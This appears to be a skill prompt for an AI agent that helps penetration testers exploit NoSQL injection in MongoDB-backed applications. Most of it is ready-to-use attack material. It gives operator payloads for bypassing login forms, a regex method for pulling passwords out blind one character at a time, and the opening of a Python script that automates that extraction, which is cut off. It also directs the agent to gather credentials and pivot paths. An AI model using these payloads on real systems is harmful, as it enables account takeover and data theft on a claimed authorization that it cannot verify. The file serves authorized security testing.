/nosql-injection

name: nosql-injection
description: >
  Guide NoSQL injection exploitation during authorized penetration testing.
keywords:
  - nosql injection
  - mongodb injection
  - nosqli
  - operator injection
  - $ne injection
  - $where injection
  - mongo auth bypass
  - nosql auth bypass
  - couchdb injection
  - mongoose injection
  - graphql nosql
  - nosql blind extraction
tools:
  - burpsuite (NoSQLi Scanner extension)
  - nosqlmap
  - nosqli
opsec: medium

NoSQL Injection

You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[nosql-injection] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• An input processed by a NoSQL database (URL param, form field, JSON body,

GraphQL variable, API parameter)

• Common indicators: MongoDB-style error messages (`MongoError`,

`$operator`), JSON-based APIs, Node.js/Express backends, Mongoose ORM

• Burp Suite with NoSQLi Scanner extension (optional)

Step 1: Assess

If not already provided, determine: 1. **Database** — MongoDB (most common), CouchDB, or other

• MongoDB: look for `ObjectId`, `$operator` in errors, Node.js stack
• CouchDB: look for `_rev`, `_id`, Futon/Fauxton admin panels

2. **Injection format** — URL-encoded parameters or JSON body

• URL params with array notation: `param[$ne]=value`
• JSON body: `{"param": {"$ne": "value"}}`

3. **Injection point** — which parameter accepts operators 4. **Response behavior** — different content for true/false conditions?

Quick Detection Probes

URL-encoded (test each parameter):

param[$ne]=test
param[$gt]=
param[$exists]=true

JSON body:

{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}

If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.

Step 2: Authentication Bypass

The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.

URL-Encoded Bypass

# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto

# Match all with regex
username[$regex]=.*&password[$regex]=.*

# Match any existing field
username[$exists]=true&password[$exists]=true

# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=

# Target specific user with wildcard password
username=admin&password[$ne]=wrong

# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong

JSON Body Bypass

{"username": {"$ne": null}, "password": {"$ne": null}}

{"username": {"$ne": ""}, "password": {"$ne": ""}}

{"username": {"$gt": ""}, "password": {"$gt": ""}}

{"username": "admin", "password": {"$ne": "wrong"}}

{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

$or Bypass

{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}

$in Operator — Enumerate Known Users

{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}

$nin — Exclude Known Users to Find Others

# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=

Step 3: Blind Data Extraction

When operator injection works but data isn't directly reflected, extract values character by character using `$regex`.

Determine Field Length

# Test password length (adjust the number)
username=admin&password[$regex]=.{1}    # true if len >= 1
username=admin&password[$regex]=.{5}    # true if len >= 5
username=admin&password[$regex]=.{10}   # true if len >= 10
username=admin&password[$regex]=.{8}    # narrow down with binary search

Extract Value Character by Character

# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.*    # true — first char is 'm'

# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.*   # true — second char is 'd'

# Continue until full value extracted
username=admin&password[$regex]=^mdp$   # exact match confirms

Automated Blind Extraction — JSON POST

import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation

while True:
    found = False
    for c in charset:
        if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
            c = '\\' + c  # escape regex metacharacters
        payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
            username,